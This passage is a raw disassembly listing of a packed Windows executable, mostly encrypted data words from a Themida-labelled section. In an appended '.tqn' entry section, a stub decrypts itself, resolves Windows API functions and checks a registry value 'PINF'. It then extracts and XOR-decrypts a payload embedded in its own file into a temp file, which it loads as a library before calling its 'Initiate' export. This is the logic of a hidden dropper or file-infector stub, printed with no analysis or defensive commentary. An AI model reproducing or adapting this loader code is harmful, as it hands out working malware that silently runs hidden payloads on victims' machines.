60A4ECA8h, 6617B3F5h, 0C681C78Bh, 68E9BB4Ah dd 0CE8h, 0C6BBE400h, 3891B6FFh, 82437AD0h, 0C0B70FA1h dd 0F1DB815Bh, 0B30AA329h, 28E0FB7h, 8A000000h, 0C2BB66E2h dd 53B9B54Eh, 68F0Fh, 0EF810000h, 77E54E4Fh, 9E9535Ah dd 0B9000000h, 47A9E4ADh, 36D9F028h, 28F0F5Fh, 0B2000000h dd 0B8E0F0Dh, 0F000000h, 588h, 0C0816600h, 0E9608B48h dd 12h, 26C37F10h, 2308FC35h, 0BC5CC73Fh, 0B7EA599Eh, 6661B3C6h dd 8B66CA8Bh, 0FE9D1h, 5F270000h, 1B10192Fh, 5111C320h dd 0AE201038h, 4880F3Fh, 66000000h, 0B66B02B8h, 0BB3CB20Eh dd 40ADA258h, 8E9FCh, 7B480000h, 0BACA461Dh, 8B6689ECh dd 5EBA66CBh, 0BCC98148h, 0F0D2DF0h, 0FB8BFEBFh, 0FF98B66h dd 0C78BF0BFh, 6820Fh, 0D8810000h, 4417CDC2h, 6880Fh, 0E7810000h dd 47D17263h, 7E9h, 8766D00h, 0EC96A46Dh, 2162B866h, 0E8F08160h dd 56643415h, 8B60615Bh, 2DBB61F2h, 815AF565h, 0FAB069DAh dd 0CE952h, 24EC0000h, 4AAA9B84h, 5D2F2338h, 8166824Bh dd 80A691C1h, 0BE976C3h, 15000000h, 0C9806460h, 0E25B53FFh dd 0FE93A64h, 0C6000000h, 0A8FCD598h, 579A50A1h, 351B635Dh dd 0AE96D5Fh, 85000000h, 474D31F8h, 852790CCh, 50F98BC2h dd 66C68B5Eh, 0F855A9BFh, 0CBC28160h, 664E4F4Ah, 0E961FB8Bh dd 0Bh, 73C7BC73h, 0BD45F3EFh, 66DAD4BEh, 0FC81D4BEh, 8335BF52h dd 80582CB0h dd 41B58BC5h, 0AE9h, 9BC21C00h, 41C9AA38h, 81EA8D4Ah, 0C826ABC3h dd 9E876h, 0D9A80000h, 71E5617Eh, 0E94462B8h, 10h, 0FC2CD996h dd 624BFD51h, 29467A25h, 25CFC9B0h, 0C7EF815Fh, 0F4B3BF6h dd 0DE8F7B7h, 2E000000h, 44882EA0h, 0CDEB5C24h, 7A06A29Ah dd 11E8h, 5BF28600h, 1635E023h, 0FE83FE8Dh, 377E37B9h dd 0F88BE2ADh, 0DA815859h, 181D720Dh, 12E8h, 561B6E00h dd 1CEF3682h, 7FF0DEBCh, 7F00B3E3h, 81BD0773h, 18D005E8h dd 0F505855h, 0E85FD6BFh, 0Ah, 12AB425Ah, 0BE148DA4h, 8B66FBEDh dd 8B0F5AC1h, 0Bh, 820F60h, 0F000000h, 6661C0B7h, 0E088C281h dd 0FD78B66h, 10E9FEBFh, 0F6000000h, 39BBDD5Ch, 6E5E499h dd 770A5B3Bh, 0FDA45FEh, 1780h, 12E900h, 0EA890000h, 3F8A8A07h dd 705A73E4h, 195DC509h, 61B42056h, 9B9958B8h, 0E9D4B03Ah dd 0Bh, 0B59C1D89h, 6CE8597Ch, 81658805h, 0A2793D0h, 4CB8661Ah dd 1F850FD3h, 0E8000000h, 13h, 3EEAB696h, 5C0E9114h, 6F3BEA35h dd 0E4AF1D1Ah, 81FDE9A3h, 6A0B9EE0h, 0E9575A77h, 8, 0A03BF5FDh dd 0BF7080F5h, 0BBEEB358h, 649B6929h, 27CF8166h, 0B8D0F10h dd 0F000000h, 58Ah, 0DB57BB00h, 0FE93FCBh, 0E7000000h dd 0CA438285h, 3FCA0D95h, 0EC762924h, 9E9C2C5h, 0B8000000h dd 0FE0CD82Fh, 0EFA4240Ch, 0BE9h, 0DFF07E00h, 0B87E7E4Ch dd 760074E9h, 810Fh, 0FF90000h, 840FD0B7h, 3, 0E9C18B66h dd 14h, 2DB8B21Dh, 0F45E76FBh, 3793942Eh, 0A79A0028h, 0AE093BBCh dd 0DE8h, 5C8CAC00h, 8F045273h, 0EC5B0511h, 0E381E538h dd 23516C0Bh, 0FCA0BA59h, 0B70F29D6h, 58B0FF2h, 66000000h dd 69F2EE81h, 0B9F18Ah, 53141AFFh, 6E8h, 0EE1B2600h, 8B2E741Fh dd 8A5A59D9h, 0FE960C5h, 0F9000000h, 0E7196CFCh, 5346D49Ah dd 0B60933B0h, 8B66B02Bh, 60F861C3h, 0AE9h, 0C9EEBD00h dd 0A98F8CEDh, 61317988h, 0E181FA8Bh, 0B1EF4B4h, 53C28B66h dd 11E8h, 0D0A03000h, 1E42FF32h, 0A3DB8371h, 54D1D316h dd 6160C845h, 0CA805A5Ah, 0B70F601Ch, 94D681F2h, 615BB79Bh dd 3820Fh, 0E6800000h, 0FD38B0Eh, 0B966FBBFh, 0B70F62EBh dd 0DB8166FEh, 0BE6602ABh, 8D0F11E4h, 5, 0B265C7BBh, 0F9B70F49h dd 0CEBF0FF8h, 0EE960h, 4360000h, 1988C9A3h, 787F3FCBh dd 8FBB1B19h, 0FE9h, 97794600h, 0F71507DBh, 0BB11CDC0h dd 4DA6BDFDh, 78E0F61h, 0F000000h, 18Eh, 0CB80FC00h, 60B866ACh dd 0B8565141h, 6567210Eh, 7E85E59h, 10000000h, 0E9D1AEDAh dd 8B66BB43h, 8B6659C6h, 0BF0FF8F7h, 0F2BF0FCAh, 5E9h dd 4BFB9000h, 0EA8A3BB0h, 75DB61BFh, 0BE82Fh, 5F650000h dd 2286CCDDh, 0FF28EC2Bh, 68E0FB8h, 81000000h, 0F39F11DAh dd 0CF815E59h, 38B5DDEEh, 0DE9h, 30A82500h, 2504E08Ch dd 0A1A17BACh, 12E9748Fh, 80000000h, 1F0462F8h, 546C29CAh dd 25B537F6h, 0B70EC33h, 90E280AEh, 0EDB9FA8Ah, 0F3F8310h dd 0DE9F9B7h, 40000000h, 0C48F71D2h, 40C18CBFh, 0A14BEAE5h dd 8BDE8B66h, 0E8DE81FEh, 0F4C10F9h, 1781h, 12E900h, 3B6E0000h dd 0AC0F0023h, 0FA9DC425h, 5478947Dh, 0E79C6712h, 9E857h dd 991D0000h, 0EC604D40h, 8BECD80Fh, 0F95B59F1h, 6AF081F5h dd 0F426F2Bh, 1884h, 51BB6000h, 0E9069649h, 0Ch, 7D74660h dd 0BA85651h, 0CA18A786h, 0F78B6661h, 0F86D480h, 587h dd 5ABEBF00h, 816625B2h, 810B99F6h, 3AE551F3h, 0E9816603h dd 0C9813FCBh, 1DE88199h, 83CE8166h, 0E8FE8BE3h, 11h, 0DDDA6918h dd 0CBF7D619h, 9640FC2Dh, 7E8EA30h, 64B76098h, 5B616160h dd 97B86660h, 48F281CCh, 617937D2h, 800FFA8Bh, 0Ah, 0C1B70F60h dd 0E1E5FDBAh, 8166614Fh, 0F73BEC3h, 85h, 5E900h, 45F70000h dd 0F9B99289h, 8E8h, 124CD300h, 904AF22Fh, 0F30CB955h dd 0F5B0DC4h, 285h, 0B26CB600h, 0F38166EFh, 0F519CFDh dd 0E95EC2B7h, 0Eh, 55832B97h, 938C11E4h, 0B21D4FCFh, 12E92DB8h dd 4C000000h, 0C4DE6844h, 185A0B5Ch, 8B8EC807h, 0D12A894Dh dd 0E960606Dh, 7, 3959DFA3h, 6691E91Fh, 146ED881h, 6820F61h dd 0F000000h, 84h, 7B46100h, 82BF00B2h, 5642C4B2h, 10BA665Bh dd 0D2816624h, 0B70F9347h, 0CE8166C9h, 9CB9038Dh, 0F6A6EEDh dd 38Ch, 0C2BF0F00h, 0FE9h, 61272C00h, 4AE8B7ACh, 0A342A2FEh dd 96A28AAFh, 10E9h, 0AF010F00h, 4DE17498h, 735F9B77h dd 33F81767h, 0CEB0BA31h, 0D18A0744h, 10E8F08Bh, 73000000h dd 8F1D3AC3h, 2BFD7110h, 5708F0F1h, 0E88D10FBh, 7, 0EF43FD19h dd 0E9838803h, 14h, 61D5470Ch, 0F5540192h, 7D3EE50Ch, 0FEE0B30h dd 1BE4672Ah, 80B6585Fh, 840F6060h, 0 dd 61F6B70Fh, 8161F28Bh, 0B64489E8h, 11E91Ah, 0FBC20000h dd 0EDDF979Dh, 68E5CE52h, 0E451A599h, 0BBF7625Dh, 31C8611Dh dd 1B8C0FFCh, 0E8000000h, 11h, 8B7D9B0Dh, 0A603CDCAh, 0E1F68BBh dd 8DB3BE82h, 0A4BE6639h, 2AB75ECDh, 0FDE8B66h, 48Fh, 69BB6600h dd 1840FDBh, 0FC000000h, 0F3A543BAh, 14E925h, 911B0000h dd 0E899F52Bh, 10E96CACh, 39F60E0Bh, 2D1742CEh, 66564F10h dd 665ECF8Bh, 6E9F08Bh, 94000000h, 5E66A5DCh, 451EB824h dd 0E4BA0D60h, 0B762D55Ah, 5C68BB54h, 0E86008F1h, 5, 0E3781947h dd 14E83Ah, 0AE5B0000h, 0C5E79AC0h, 0ABF1D4EBh, 91A1CBDBh dd 82738C71h, 5B5A89F1h, 49731CB8h, 0FFC6153h, 382h, 0C78B6600h dd 0CF17EA81h, 5E86ECCh, 69000000h, 3522A0D2h, 0CE9h, 570A3B00h dd 88099D4Dh, 0FB2C9ED9h, 0FF95BD7h, 983h, 3850F00h, 66000000h dd 830FC18Bh, 0 dd 7E9h, 8E9AA100h, 0CE921CC5h, 3CDDC381h, 8166026Bh, 66CDF5EBh dd 0D48ACF8Bh, 0F50CD480h, 0E8C18B66h, 0Fh, 0F7D04B5Bh dd 54C0A895h, 2B31AEFAh, 6688ADD5h, 3516DA81h, 0F5E5358h dd 48Dh, 0A1BF6600h, 6E8CBh, 20BE0000h, 0D4F2494Ch, 5AF88B66h dd 0E9816651h, 805E0896h, 66F517CCh, 0BDBEE181h, 0BAC2BF0Fh dd 281B0D93h, 0CA8166F8h, 0B70FF014h, 0ABBA66F6h, 9CBF667Bh dd 6EE78184h, 0F528277h, 48Ch, 0FBB96600h, 13E918h, 50CF0000h dd 3F8CFD18h, 2F08F8F6h, 322B2828h, 5E2DADB8h, 81BB66A1h dd 11E929h, 23080000h, 0BC5CC73Fh, 0B7EA599Eh, 2B15B3C6h dd 57B93E09h, 3800F59h, 66000000h, 0DF81DA8Bh, 7A35728Ch dd 66C9F080h, 0F9424FBEh, 0DE9h, 0F179C800h, 5D445FD6h dd 69B1DD02h, 0C78BE051h, 0E9CFB70Fh, 8, 0ABDA273Fh, 0CB4FEDCAh dd 0AE9h, 0ECB71000h, 6D1A1F14h, 0A152A2AEh, 67h dup(0B6E014D5h) dd 0B4h dup(0E2CC0BBDh) db 0BDh, 0Bh word_6020CA dw 0E2CCh ; DATA XREF: Themida_:0057A638o dd 595B0BBDh, 192h dup(595B55EBh), 67EDE2EBh, 20Dh dup(67EDE211h) dd 2E73E211h, 1ABh dup(2E738495h), 81738495h, 114h dup(8105983Fh) dd 0E779983Fh, 79h dup(0E7793E34h), 8F793E34h, 6Fh dup(8F893D50h) dd 2D6h dup(751354A7h), 0CC1354A7h, 8C0h dup(0CCCCCCCCh) dd 0CCCCCCh, 0E9h dup(0) Themida_ ends ; --------------------------------------------------------------------------- ; Section 5. (virtual address 00207000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00207000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _tqn_ segment para public 'CODE' use32 assume cs:_tqn_ ;org 607000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing public start start: nop nop push offset byte_4DCDA9 pop eax nop nop mov edi, offset loc_607028 nop push 598h pop esi nop nop loc_607018: ; CODE XREF: .tqn_:loc_607028j push dword ptr [esi+edi] xor [esp], eax pop dword ptr [esi+edi] nop dec esi sub esi, 3 nop nop loc_607028: ; DATA XREF: .tqn_:0060700Ao jnz short loc_607018 nop nop call sub_6071AE ; --------------------------------------------------------------------------- db 3 dup(0) dd 400000h, 113014h, 80000h, 805E2h, 2B000h, 0FFFFFFFFh dd 512000h, 51205Fh, 51206Dh, 3 dup(0) dd 18000h, 11205Dh, 11206Bh, 4 dup(0) dd offset dword_512000 dd 0Ah dup(0) dd offset byte_4DCDA9 db 4Bh ; K db 65h, 72h, 6Eh db 65h ; e db 6Ch, 33h, 32h db 2Eh ; . db 64h, 2 dup(6Ch) db 0 aGettemppatha db 'GetTempPathA',0 aGettempfilenam db 'GetTempFileNameA',0 aCreatefilea db 'CreateFileA',0 aReadfile db 'ReadFile',0 aWritefile db 'WriteFile',0 aSetfilepointer db 'SetFilePointer',0 aClosehandle db 'CloseHandle',0 aGettickcount db 'GetTickCount',0 aGetmodulefil_0 db 'GetModuleFileNameA',0 aAdvapi32_dll db 'ADVAPI32.dll',0 aRegopenkeyexa db 'RegOpenKeyExA',0 aRegqueryvaluee db 'RegQueryValueExA',0 aRegclosekey db 'RegCloseKey',0 aSoftwareMicr_3 db 'Software\Microsoft\Windows\CurrentVersion\Explorer',0 aPinf db 'PINF',0 aInitiate db 'Initiate',0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_6071AE proc near ; CODE XREF: .tqn_:0060702Cp var_140 = word ptr -140h var_13E = byte ptr -13Eh var_38 = byte ptr -38h push ebp mov ebp, esp add esp, 0FFFFFEC0h mov eax, ebp add eax, 4 mov edx, ebp push ebx push esi push edi xor ebx, ebx mov edi, [eax] lea ecx, [ebp+var_38] sub edi, 5 mov eax, [edi+0Ch] lea esi, [edi+84h] add eax, [edi+8] add edx, 4 mov [edx], eax push esi push edi push ecx call sub_60724E test al, al jz short loc_607246 push esi lea eax, [ebp+var_38] push eax lea edx, [ebp+var_140] push edx call sub_60735A test al, al jz short loc_60721B cmp [ebp+var_140], 7 jb short loc_60721B push esi push edi lea ecx, [ebp+var_38] push ecx lea eax, [ebp+var_13E] push eax call sub_6073C2 mov ebx, eax loc_60721B: ; CODE XREF: sub_6071AE+4Dj ; sub_6071AE+57j test bl, bl jnz short loc_607246 push edi lea eax, [ebp+var_38] push eax lea edx, [ebp+var_13E] push edx call sub_6073FA test al, al jz short loc_607246 push esi push edi lea ecx, [ebp+var_38] push ecx lea eax, [ebp+var_13E] push eax call sub_6073C2 loc_607246: ; CODE XREF: sub_6071AE+38j ; sub_6071AE+6Fj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_6071AE endp ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_60724E proc near ; CODE XREF: sub_6071AE+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov eax, [ebp+arg_4] mov ebx, [ebp+arg_0] mov edi, [ebp+arg_8] mov edx, [eax+20h] mov ecx, [edx] mov [ebx], ecx mov eax, [ebp+arg_4] mov edx, [eax+20h] add edx, 4 mov ecx, [edx] mov [ebx+4], ecx push edi call dword ptr [ebx] mov esi, eax test esi, esi jz loc_60730B mov eax, [ebp+arg_4] push dword ptr [eax+24h] push esi call dword ptr [ebx+4] mov edx, [ebp+arg_4] mov ecx, [edx+20h] mov [ecx], eax mov eax, [ebp+arg_4] push dword ptr [eax+28h] push esi call dword ptr [ebx+4] mov edx, [ebp+arg_4] mov ecx, [edx+20h] add ecx, 4 mov [ecx], eax lea eax, [edi+0Dh] push eax push esi call dword ptr [ebx+4] mov [ebx+8], eax lea edx, [edi+1Ah] push edx push esi call dword ptr [ebx+4] mov [ebx+0Ch], eax lea ecx, [edi+2Bh] push ecx push esi call dword ptr [ebx+4] mov [ebx+10h], eax lea eax, [edi+37h] push eax push esi call dword ptr [ebx+4] mov [ebx+14h], eax lea edx, [edi+40h] push edx push esi call dword ptr [ebx+4] mov [ebx+18h], eax lea ecx, [edi+4Ah] push ecx push esi call dword ptr [ebx+4] mov [ebx+1Ch], eax lea eax, [edi+59h] push eax push esi call dword ptr [ebx+4] mov [ebx+20h], eax lea edx, [edi+65h] push edx push esi call dword ptr [ebx+4] mov [ebx+24h], eax lea ecx, [edi+72h] push ecx push esi call dword ptr [ebx+4] mov [ebx+28h], eax jmp short loc_60730F ; --------------------------------------------------------------------------- loc_60730B: ; CODE XREF: sub_60724E+2Bj xor eax, eax jmp short loc_607350 ; --------------------------------------------------------------------------- loc_60730F: ; CODE XREF: sub_60724E+BBj lea edx, [edi+85h] push edx call dword ptr [ebx] mov esi, eax test esi, esi jz short loc_60734A lea eax, [edi+92h] push eax push esi call dword ptr [ebx+4] mov [ebx+2Ch], eax lea edx, [edi+0A0h] push edx push esi call dword ptr [ebx+4] mov [ebx+30h], eax add edi, 0B1h push edi push esi call dword ptr [ebx+4] mov [ebx+34h], eax jmp short loc_60734E ; --------------------------------------------------------------------------- loc_60734A: ; CODE XREF: sub_60724E+CEj xor eax, eax jmp short loc_607350 ; --------------------------------------------------------------------------- loc_60734E: ; CODE XREF: sub_60724E+FAj mov al, 1 loc_607350: ; CODE XREF: sub_60724E+BFj ; sub_60724E+FEj pop edi pop esi pop ebx pop ebp retn 0Ch sub_60724E endp ; --------------------------------------------------------------------------- db 3 dup(90h) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_60735A proc near ; CODE XREF: sub_6071AE+46p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp add esp, 0FFFFFFF8h lea eax, [ebp+var_4] push ebx push esi push edi xor ebx, ebx mov edi, [ebp+arg_8] mov esi, [ebp+arg_4] mov [ebp+var_8], 106h push eax push 20019h lea edx, [edi+0BDh] push 0 push edx push 80000001h call dword ptr [esi+2Ch] test eax, eax jnz short loc_6073B6 lea ecx, [ebp+var_8] add edi, 0F0h push ecx push [ebp+arg_0] push 0 push 0 push edi push [ebp+var_4] call dword ptr [esi+30h] test eax, eax setz bl and ebx, 1 push [ebp+var_4] call dword ptr [esi+34h] loc_6073B6: ; CODE XREF: sub_60735A+34j mov eax, ebx pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn 0Ch sub_60735A endp ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_6073C2 proc near ; CODE XREF: sub_6071AE+66p ; sub_6071AE+93p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push [ebp+arg_0] call dword ptr [ebx] test eax, eax jz short loc_6073F1 mov edx, [ebp+arg_C] add edx, 0F5h push edx push eax call dword ptr [ebx+4] test eax, eax jz short loc_6073F1 push [ebp+arg_8] call eax test al, al jz short loc_6073F1 mov al, 1 jmp short loc_6073F3 ; --------------------------------------------------------------------------- loc_6073F1: ; CODE XREF: sub_6073C2+Ej ; sub_6073C2+20j ... xor eax, eax loc_6073F3: ; CODE XREF: sub_6073C2+2Dj pop ebx pop ebp retn 10h sub_6073C2 endp ; --------------------------------------------------------------------------- db 2 dup(90h) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_6073FA proc near ; CODE XREF: sub_6071AE+7Dp var_2914 = byte ptr -2914h var_114 = byte ptr -114h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push eax mov eax, 2 loc_607403: ; CODE XREF: sub_6073FA+11j add esp, 0FFFFF004h push eax dec eax jnz short loc_607403 mov eax, [ebp+var_4] add esp, 0FFFFF6F0h push ebx push esi push edi mov ebx, [ebp+arg_4] mov esi, [ebp+arg_0] push 104h lea eax, [ebp+var_114] push eax push 0 call dword ptr [ebx+28h] push 0 push 1 push 3 push 0 push 1 lea edx, [ebp+var_114] push 80000000h push edx call dword ptr [ebx+10h] mov edi, eax cmp edi, 0FFFFFFFFh jz loc_607583 lea eax, [ebp+var_114] push eax push 104h call dword ptr [ebx+8] call dword ptr [ebx+24h] mov [ebp+var_8], eax xor ecx, ecx loc_60746B: ; CODE XREF: sub_6073FA+8Bj xor eax, eax mov al, byte ptr [ebp+ecx+var_8] push ecx mov ecx, 0Ah cdq idiv ecx pop ecx add al, 61h mov byte ptr [ebp+ecx+var_8], al inc ecx cmp ecx, 2 jle short loc_60746B mov byte ptr [ebp+var_8+3], 0 push esi push 0 lea ecx, [ebp+var_8] push ecx lea eax, [ebp+var_114] push eax call dword ptr [ebx+0Ch] push 0 push 80h push 2 push 0 push 1 push 0C0000000h push esi call dword ptr [ebx+10h] mov [ebp+var_C], eax cmp [ebp+var_C], 0FFFFFFFFh jz loc_607579 mov edx, [ebp+arg_8] mov esi, [edx+18h] push 0 push 0 mov eax, [ebp+arg_8] push dword ptr [eax+14h] push edi call dword ptr [ebx+1Ch] cmp esi, 2800h jbe short loc_607531 loc_6074DB: ; CODE XREF: sub_6073FA+135j push 0 lea edx, [ebp+var_10] push edx push 2800h lea ecx, [ebp+var_2914] push ecx push edi call dword ptr [ebx+14h] push 2800h lea eax, [ebp+var_2914] push eax mov edx, [ebp+arg_8] push dword ptr [edx+80h] call sub_607596 lea ecx, [ebp+var_10] push 0 push ecx lea eax, [ebp+var_2914] push 2800h push eax push [ebp+var_C] call dword ptr [ebx+18h] sub esi, 2800h cmp esi, 2800h ja short loc_6074DB loc_607531: ; CODE XREF: sub_6073FA+DFj push 0 lea edx, [ebp+var_10] push edx push esi lea ecx, [ebp+var_2914] push ecx push edi call dword ptr [ebx+14h] push esi lea eax, [ebp+var_2914] push eax mov edx, [ebp+arg_8] push dword ptr [edx+80h] call sub_607596 push 0 lea ecx, [ebp+var_10] push ecx push esi lea eax, [ebp+var_2914] push eax push [ebp+var_C] call dword ptr [ebx+18h] push [ebp+var_C] call dword ptr [ebx+20h] mov byte ptr [ebp+var_4+3], 1 jmp short loc_60757D ; --------------------------------------------------------------------------- loc_607579: ; CODE XREF: sub_6073FA+BFj mov byte ptr [ebp+var_4+3], 0 loc_60757D: ; CODE XREF: sub_6073FA+17Dj push edi call dword ptr [ebx+20h] jmp short loc_607587 ; --------------------------------------------------------------------------- loc_607583: ; CODE XREF: sub_6073FA+54j mov byte ptr [ebp+var_4+3], 0 loc_607587: ; CODE XREF: sub_6073FA+187j mov al, byte ptr [ebp+var_4+3] pop edi pop esi pop ebx mov esp, ebp pop ebp retn 0Ch sub_6073FA endp ; --------------------------------------------------------------------------- db 3 dup(90h) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_607596 proc near ; CODE XREF: sub_6073FA+10Cp ; sub_6073FA+15Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] mov edx, [ebp+arg_4] mov ecx, [ebp+arg_8] test ecx, ecx jns short loc_6075AA add ecx, 3 loc_6075AA: ; CODE XREF: sub_607596+Fj sar ecx, 2 xor eax, eax cmp ecx, eax jle short loc_6075BB loc_6075B3: ; CODE XREF: sub_607596+23j xor [edx+eax*4], ebx inc eax cmp ecx, eax jg short loc_6075B3 loc_6075BB: ; CODE XREF: sub_607596+1Bj pop ebx pop ebp retn 0Ch sub_607596 endp ; --------------------------------------------------------------------------- dd offset dword_4D676C+2924h aLoadlibrarya db 'LoadLibraryA',0 db 2 dup(0), 47h aEtprocaddress db 'etProcAddress',0 dw 97E4h dd 0CDAB001Dh, 0CDAD004Dh, 32560042h, 0CD11004Dh, 0CDA9004Dh dd 0CDE9004Dh, 0CDA90057h, 7 dup(0CDA9004Dh), 0CFA9004Dh dd 0DD13004Dh, 79B60E4Dh, 7588CD44h, 0EC644C4Ch, 0A5FD90DDh dd 0BD897324h, 0BFCE6F3Fh, 0A0896D2Ch, 0EDDD7338h, 0BF89652Fh dd 0B8896E38h, 0BFCC6423h, 0A3C0576Dh, 0C7A4327Eh, 0CDA93769h dd 61h dup(0CDA9004Dh), 88F9004Dh, 0CCE5004Dh, 61E7004Eh dd 0CDA93BF2h, 0CDA9004Dh, 0CD49004Dh, 0CCA22343h, 6DA90048h dd 0DDA9004Fh, 0BDA9004Dh, 0D4B90049h, 4DA9004Ah, 0EDA90049h dd 0CDA9004Ah, 0DDA9000Dh, 0CFA9004Dh, 0CDAD004Dh, 0CDA9004Dh dd 0CDAD004Dh, 0CDA9004Dh, 0FDA9004Dh, 0C9A9004Ah, 0CDA9004Dh dd 0CDAB004Dh, 3 dup(0CDA9004Dh), 0DDA9005Dh, 0CDA9004Dh dd 0CDB9004Dh, 0EA65004Dh, 0CB4D004Ah, 0E871004Dh, 0CC5D004Ah dd 0EDA9004Dh, 0C871004Ah, 4 dup(0CDA9004Dh), 0E319004Dh dd 0CDA5004Ah, 14h dup(0CDA9004Dh), 0B987004Dh, 0CDDD7828h dd 0BDA9004Dh, 0DDA90049h, 0CDA9004Dh, 0C9A9004Dh, 3 dup(0CDA9004Dh) dd 0CD29004Dh, 0A987E04Dh, 0CDC8742Ch, 6DA9004Dh, 4DA9004Fh dd 51A90049h, 0C9A9004Fh, 3 dup(0CDA9004Dh), 0CDE9004Dh dd 0BF87E04Dh, 0CDCA723Eh, 0DDA9004Dh, 0EDA9004Dh, 0DDA9004Ah dd 6DA9004Dh, 0CDA9004Fh, 2 dup(0CDA9004Dh), 0CDE9004Dh dd 0CDA3C04Dh, 0CDA90069h, 12h dup(0CDA9004Dh), 0CDA3246Dh dd 0CDA90069h, 10h dup(0CDA9004Dh), 0E3A9004Dh, 0CDA3246Dh dd 0ECA9004Dh, 0C4AB0941h, 346DCD1Dh, 0CC77ED2Eh, 0CDAFF543h dd 0CDAB9894h, 0CDAF444Dh, 87A90D6Bh, 3256EEB6h, 0AFCF10A6h dd 0E6824377h, 86E64F05h, 0C8A9E9DDh, 0C908987Eh, 0CF49C152h dd 0BAD607EEh, 468ABEB2h, 0C5A12409h, 48BDFFDCh, 0F02A814Bh dd 93DC0141h, 72567722h, 0CD8208CDh, 0C0412439h, 77B51F48h dd 0CD8C2C41h, 0C8DD804Dh, 0B376F6BAh, 0DBFB4C46h, 9511C449h dd 0C040C07Eh, 0C857F059h, 23525D61h, 0D6B33BFDh, 46FB5899h dd 4CA05A19h, 1016BB96h, 4DAC5A41h, 0A7F90A3Dh, 8D3A064Dh dd 0FFD26814h, 5D451DD2h, 0B9912799h, 0B9AB085Ah, 0B21ABF43h dd 0AD7B253Ah, 0CD29558Bh, 0CCA107A6h, 7C019E6Bh, 0CD50EEBAh dd 6CF91239h, 9DB13F1Dh, 60BD15B2h, 5B6EB3A2h, 4E9105CDh dd 0CDE00489h, 77D21438h, 0AD37FB32h, 0C9F59501h, 0F4D014Dh dd 4B400041h, 7A56FBC1h, 0E809BD96h, 0EAE7C350h, 0CD12608Eh dd 9E15B01Dh, 1CA2AD25h, 0B6148FA3h, 2111B98Eh, 9CDDC946h dd 0BEA91F05h, 0DC57B847h, 0B027EF42h, 9CB22673h, 0D3ACDC27h dd 93B65097h, 2039FB22h, 0EDDCC046h, 9DFF57B0h, 809E35DAh dd 0BED493BBh, 0C97C0ABDh, 97F65E12h, 3B5B1D54h, 6E611CB6h dd 0AD518356h, 0E55B8C0h, 4E1BED20h, 88817239h, 9D9862ADh dd 4C707B6Bh, 0C1FE6439h, 0A6B9328Eh, 8C522E8Eh, 0D47937FCh dd 6176FEDh, 48FF2DCDh, 0FE9AC34Ch, 0FC16FFBFh, 2D3D505Ah dd 9E39908Eh, 3351C4CCh, 0C8C1FFB2h, 0E46F74Ch, 0C9C18D8Fh dd 0B5298C3Eh, 922C253h, 3ADFBE68h, 1516730Fh, 759A1DC4h dd 0F1F2DBC8h, 1AC4BAE1h, 75115BB0h, 0BBB6A849h, 0F1A141F1h dd 8054FB16h, 1BB4C9Bh, 0C892B86Bh, 81AF7461h, 0D616F811h dd 46FC6B09h, 0DDEC8BA1h, 4DA155C6h, 0DDDD9930h, 0F0057E96h dd 0CB3C8CA3h, 0D8420138h, 0BFAC9DC6h, 0B045F7F3h, 0D82111C5h dd 6EA9165Ah, 0F60570C3h, 8BCF23Bh, 0D31DB04Bh, 7178013Bh dd 0CF18ED20h, 34991579h, 0CFA98075h, 0DA1BEFE9h, 0E76D7196h dd 4B1D0EC2h, 105663B2h, 46F58B11h, 47AB8985h, 0CC9D1408h dd 0CF21D041h, 9E39C310h, 20568B1Bh, 1B49A8Eh, 0F62A1606h dd 0DE2211EFh, 1F9AD0C4h, 101673C4h, 1122138Fh, 22DC109Bh dd 26F78022h, 7AA2F786h, 0A5FC89D6h, 6D3C033Dh, 0ED20647Dh dd 0B39290B2h, 0DE21DB96h, 0C0F05917h, 0E35185Dh, 0E255930h dd 2674DE58h, 4E395EB5h, 0FA2B1E60h, 56F6FBh, 0F930DC23h dd 0AB858755h, 0C545458Ah, 35ECFF4Dh, 23C1C97Eh, 0DB127473h dd 44A298C1h, 0E913904Ch, 36A48979h, 0C742B773h, 0C1B3BAD9h dd 0E8CE1255h, 236911D1h, 80220F91h, 0CD8A6491h, 90F4E5C6h dd 0A9D21D82h, 35E4FF61h, 0EDABBA60h, 0A90F4A7Fh, 55B880FDh dd 7BA9CFD9h, 19CC9029h, 0AC639FF9h, 0BFE3646h, 119AB9A9h dd 0F844E1E2h, 0CEB107ECh, 0D894E48Fh, 0E1926D41h, 0FA491A2Eh dd 0AF2008A8h, 2074EFBAh, 0C3517DCEh, 0DD6B8B6Ch, 8D5555C4h dd 0CE13006Dh, 5C6B762Fh, 32A112F6h, 22A9141Ch, 0FACA3FADh dd 0DA71328Bh, 0D03CD89Eh, 0E370D38Dh, 92A1AC51h, 9865B095h dd 72BCA399h, 265FDDB6h, 0D5F9346Dh, 8024F018h, 3D365199h dd 26F159BAh, 5684F646h, 0CDB94F33h, 96E4EAD2h, 32A99085h dd 0C576BB32h, 